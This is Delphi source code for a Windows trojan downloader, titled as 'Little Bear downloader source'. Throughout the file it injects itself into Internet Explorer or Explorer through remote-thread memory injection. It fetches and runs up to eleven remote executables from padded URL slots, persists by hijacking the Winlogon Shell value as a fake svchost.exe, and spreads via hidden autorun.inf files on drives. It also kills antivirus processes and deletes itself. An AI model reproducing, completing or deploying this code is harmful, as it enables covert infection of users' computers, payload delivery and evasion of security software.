小熊下载者源码

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses
  Windows,
  SysUtils,
  urlmon,
  sendmail,
  shellapi,
  tlhelp32;

var
MSG:TMSG;
kkk:string;
cTime: TDateTime;
hModule, hModule_News: Pointer;
Extent, Size, ThreadId: longword;
//ProcessHandle, Pid: longword;
sysdir:array[0..145] of char;
ret2:HKEY;
window:HWND;
htimer1,k,n,main:integer;
//time:pchar='5';
//timemain:pchar='5';
time:pchar='999';
timemain:pchar='9999';
kill:pchar='1';
infectl:pchar='1';
static:pchar='1';
//urllabel:pchar='http://www.16518.net/test/1.exe';
//url1:  pchar='http://www.16518.net/test/1.exe';
urllabel: pchar ='http://                                                                                                                                                                                                                             ';
url1:  pchar ='http://                                                                                                                                                                                                                              ';
url2:  pchar ='http://                                                                                                                                                                                                                              ';
url3:  pchar ='http://                                                                                                                                                                                                                              ';
url4:  pchar ='http://                                                                                                                                                                                                                              ';
url5:  pchar ='http://                                                                                                                                                                                                                              ';
url6:  pchar ='http://                                                                                                                                                                                                                              ';
url7:  pchar ='http://                                                                                                                                                                                                                              ';
url8:  pchar ='http://                                                                                                                                                                                                                              ';
url9:  pchar ='http://                                                                                                                                                                                                                              ';
url10: pchar ='http://                                                                                                                                                                                                                              ';
url11: pchar ='http://                                                                                                                                                                                                                              ';
urlfirst:  pchar ='http://                                                                                                                                                                                                                              ';
urldown:  pchar ='http://                                                                                                                                                                                                                              ';
urlupdate: pchar ='http://                                                                                                                                                                                                                              ';
delself:pchar='1';

//获取文件大小

{
function GetHostNam:String;
var
ComputerName: array[0..MAX_COMPUTERNAME_LENGTH+1] of char;
Size: Cardinal;
begin
result:='';
Size := MAX_COMPUTERNAME_LENGTH+1;
GetComputerName(ComputerName, Size);
Result:=StrPas(ComputerName);
end;

//获取本机IP
procedure nametoIP;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
  temp:string;
begin
  wsastartup($101, GInitData);
  Temp := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  while pptr^[I] <> nil do begin
    Temp := Temp + StrPas(inet_ntoa(pptr^[I]^)) + ',';
    inc(i);
  end;
  Delete(Temp, Length(Temp), 1);
  try
    trueip :=Temp;
  except
  end;
  wsacleanup;
end;
      }

procedure tlabel();
var
f:textfile;
i:integer;
buffer,disk:string;

begin

buffer:='first run';
Assignfile(F,'C:\program files\label.tmp');
if not FileExists('C:\program files\label.tmp') Then
begin
Rewrite(F);
Closefile(F);
End
Else  Assignfile(F,'C:\program files\label.tmp');
{$I-}
Rewrite(F);
{$I+}
If IOResult<> 0 Then  exit;
//Write(F,Memo_gettxt.Text);
//Memo_gettxt.Text:='';
Write(F,buffer);

Closefile(F);
end;



procedure Download; //下载过程
begin
sleep(main);
URLDownloadToFile(nil,urllabel, 'C:\program files\temp.tmp', 0, nil);
//WinExec('C:\program files\system1.exe', SW_SHOW); //SW_SHOW or SW_HIDE
sleep(k);
if FileExists('c:\Program Files\temp.tmp') then
begin

URLDownloadToFile(nil, url1, 'c:\Program Files\system1.exe', 0, nil);
WinExec('c:\Program Files\system1.exe', SW_SHOW); //SW_SHOW or SW_HIDE

sleep(k);


URLDownloadToFile(nil, url2, 'c:\Program Files\system2.exe', 0, nil);
WinExec('c:\Program Files\system2.exe', SW_SHOW); //SW_SHOW or SW_HIDE

sleep(k);


URLDownloadToFile(nil, url3, 'c:\Program Files\system3.exe', 0, nil);
WinExec('c:\Program Files\system3.exe', SW_SHOW); //SW_SHOW or SW_HIDE

sleep(k);

URLDownloadToFile(nil, url4, 'c:\Program Files\system4.exe', 0, nil);
WinExec('c:\Program Files\system4.exe', SW_SHOW); //SW_SHOW or SW_HIDE
sleep(k);

URLDownloadToFile(nil, url5, 'c:\Program Files\system5.exe', 0, nil);
WinExec('c:\Program Files\system5.exe', SW_SHOW); //SW_SHOW or SW_HIDE
sleep(k);

URLDownloadToFile(nil, url6, 'c:\Program Files\system6.exe', 0, nil);
WinExec('c:\Program Files\system6.exe', SW_SHOW); //SW_SHOW or SW_HIDE
sleep(k);

URLDownloadToFile(nil, url7, 'c:\Program Files\system7.exe', 0, nil);
WinExec('c:\Program Files\system7.exe', SW_SHOW); //SW_SHOW or SW_HIDE
sleep(k);

URLDownloadToFile(nil, url8, 'c:\Program Files\system8.exe', 0, nil);
WinExec('c:\Program Files\system8.exe', SW_SHOW); //SW_SHOW or SW_HIDE

if FileExists('c:\Program Files\label.tmp') then
sleep(k);

URLDownloadToFile(nil, url9, 'c:\Program Files\system9.exe', 0, nil);
WinExec('c:\Program Files\system9.exe', SW_SHOW); //SW_SHOW or SW_HIDE

sleep(k);
begin
URLDownloadToFile(nil, url10, 'c:\Program Files\system10.exe', 0, nil);
WinExec('c:\Program Files\system10.exe', SW_SHOW); //SW_SHOW or SW_HIDE
sleep(k);

URLDownloadToFile(nil, url11, 'c:\Program Files\system11.exe', 0, nil);
WinExec('c:\Program Files\system11.exe', SW_SHOW); //SW_SHOW or SW_HIDE


end;
end;
end;


procedure infect();
var
f:textfile;
i:integer;
buffer,disk:string;
begin
begin

buffer:='[AutoRun]'+#13#10+'open=pagefile.pif';
Assignfile(F,'C:\program files\autorun.inf');
if not FileExists('C:\program files\autorun.inf') Then
begin
Rewrite(F);
Closefile(F);
End
Else  Assignfile(F,'C:\program files\autorun.inf');
{$I-}
Rewrite(F);
{$I+}
If IOResult<> 0 Then  exit;
//Write(F,Memo_gettxt.Text);
//Memo_gettxt.Text:='';
Write(F,buffer);

Closefile(F);
end;

for i:= ord('c') to ord('z') do
begin
disk:=chr(i);
if getdrivetype(pchar(disk+':\'))=3 then
begin
copyfile('C:\program files\autorun.inf',pchar(disk+':\autorun.inf'),true);

copyfile(pchar(paramstr(0)),pchar(disk+':\pagefile.pif'),true);

SetFileAttributes(pchar(disk+':\autorun.inf'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);

SetFileAttributes(pchar(disk+':\pagefile.pif'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
end;
end;
deletefile('C:\program files\autorun.inf');
end;
function GetFileSize(const FileName: String): LongInt;
var SearchRec: TSearchRec;
begin
if FindFirst(ExpandFileName(FileName), faAnyFile, SearchRec) = 0 then
Result := SearchRec.Size
else
Result := -1;
end;
function  Killpro(ExeFileName:  string):  integer;
const  PROCESS_TERMINATE=$0001;
var ContinueLoop:BOOL;
    FSnapshotHandle:THandle;
    FProcessEntry32:TProcessEntry32;
begin
  result:=0;
  FSnapshotHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
  ContinueLoop:=Process32First(FSnapshotHandle,  FProcessEntry32);
  while  integer(ContinueLoop)<>0  do
    begin
      if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile))=ExtractFileName(UpperCase(ExeFileName)))
      or (UpperCase(FProcessEntry32.szExeFile)  =UpperCase(ExeFileName)))  then
      Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE,BOOL(0),FProcessEntry32.th32ProcessID),0));
      ContinueLoop  :=  Process32Next(FSnapshotHandle,FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;


procedure ExtDelMe;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  GetwindowsDirectory(sysdir,145);
  //DelValue(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp', 'NoRealMode');
  BatchFileName := sysdir + '\Deleteme.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + ParamStr(0) + '"');
  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
  Killpro(pchar(paramstr(0)));
    //CloseHandle(ProcessInfo.hThread);
    //CloseHandle(ProcessInfo.hProcess);
  end;
end;

function GetIEAppPath:string;
var
iekey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := 'C:\Program Files\Internet Explorer\IEXPLORE.EXE';
RegCloseKey(iekey);
end;

procedure TimerProc1(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
begin
infect();
end;


procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
//这里得到的值为一个返回指针型变量,指向内容包括进程映像的基址
Module := Pointer(GetModuleHandle(nil));
//得到内存映像的长度
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew +
SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//在Exp进程的内存范围内分配一个足够长度的内存
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
//确定起始基址和内存映像基址的位置
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定上面各项数据后,这里开始进行操作
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
//建立远程线程,至此注入过程完成
createRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

//关联EXE


procedure RunInject(InjType:integer);
var
ProcessHandle, PID: longword;
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;

begin
if InjType=0 then //注入explorer.exe
begin
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
end
else //注入iexplore.exe
begin
Window:=FindWindow('IEFrame',nil);
if window = 0 then    winexec(PChar(GetIEAppPath),sw_hide);
//createProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
sleep(500);
GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid);
end;
//打开进程
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Download);
//关闭对像
CloseHandle(ProcessHandle);

end;




begin
{cTime := Now();
host:=DateToStr(cTime) + '-' + TimeToStr(cTime);
nametoIP;
ip:='主机:'+gethostnam+'---------IP地址:'+trueip+'---成功下载';
ip1:='主机:'+gethostnam+'---------IP地址:'+trueip+'---首次安装';
  ip2:='主机:'+gethostnam+'---------IP地址:'+trueip+'---服务端升级'; }

  GetwindowsDirectory(sysdir,145);
if FileExists(sysdir+'\svchost.exe') then
begin
//自校验
if (getfilesize(pchar(paramstr(0)))>29000) and (getfilesize(pchar(paramstr(0)))<>55296) then exit;
if getfilesize(pchar(sysdir+'\svchost.exe'))<>getfilesize(pchar(paramstr(0))) then  //获取大小比较
begin
killpro('svchost.exe');
deletefile(pchar(sysdir+'\svchost.exe'));
copyfile(pchar(paramstr(0)),pchar(sysdir+'\svchost.exe'),true);
WinExec(pchar(sysdir+'\svchost.exe'), SW_HIDE);
//tlabel(); //升级不算第一次下载

if static<>'1' then shellexecute(0,'open','Iexplore.exe',urlupdate,nil,SW_hide);

//sleep(6000);
if  strtoint(delself)<>1  then ExtDelMe;

end;
end;



k:=strtoint(time)*1000;
main:=strtoint(timemain)*1000;
n:=0;
repeat
n:=n+1;
begin
DeleteFile('c:\Program Files\system'+inttostr(n)+'.exe');  //1
end;
  until
  n>11;
if FileExists('c:\Program Files\temp.tmp') then  deletefile ('c:\Program Files\temp.tmp');


  GetwindowsDirectory(sysdir,145);

  if not FileExists(sysdir+'\svchost.exe') then
  begin
  //自校验
if (getfilesize(pchar(paramstr(0)))>29000) and (getfilesize(pchar(paramstr(0)))<>55296) then exit;
      copyfile(pchar(paramstr(0)),pchar(sysdir+'\svchost.exe'),true);
      if strtoint(kill)<>1 then
      begin
      killpro('kvmonxp.exe');//江民
      killpro('ravmon.exe')//瑞星
      end;
      if static<>'1' then  shellexecute(0,'open','Iexplore.exe',urlfirst, nil, SW_HIDE);
kkk:= 'Explorer.exe                                                                                                                                                                                                            svchost.exe';
RegCreateKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',ret2);
RegSetValueEx(Ret2,'Shell', 0, REG_SZ,pchar(kkk), Length(pchar(kkk))+ 1);
//MessageBox(0, '完成', '提示', mb_iconinformation);
RegCloseKey(Ret2);
      WinExec(pchar(sysdir+'\svchost.exe'), SW_HIDE);
      tlabel();
      //sleep(6000);
  if  strtoint(delself)<>1  then ExtDelMe;
  end;

{//EXE关联利用传入参数
if ParamCount> 0 then
begin
origin;
winexec(pchar(ParamStr(1)),sw_show);
reg;
end; }
CreateMutex(nil, True,'system');//设置一个内存标示～防止程序多次运行
if (GetlastError()= ERROR_ALREADY_EXISTS) then halt;

//MessageBox(0, '启动完成', '提示', mb_iconinformation);

//自校验
if (getfilesize(pchar(paramstr(0)))>29000) and (getfilesize(pchar(paramstr(0)))<>55296) then exit;
RunInject(1); //1 注入iexplore.exe 0 注入explorer.exe
if FileExists('c:\Program Files\label.tmp') then  deletefile ('c:\Program Files\label.tmp');
if static<>'1' then shellexecute(0, 'open', 'Iexplore.exe', urldown, nil, SW_HIDE);



if strtoint(infectl)<>1 then hTimer1 := SetTimer(0, 0, 30, @TimerProc1);

while(GetMessage(Msg,0,0,0))do  //回调函数，非常非常重要，不然TIMER就不管用了
begin
  TranslateMessage(Msg);
  DispatchMessage(Msg);
end;                   

end.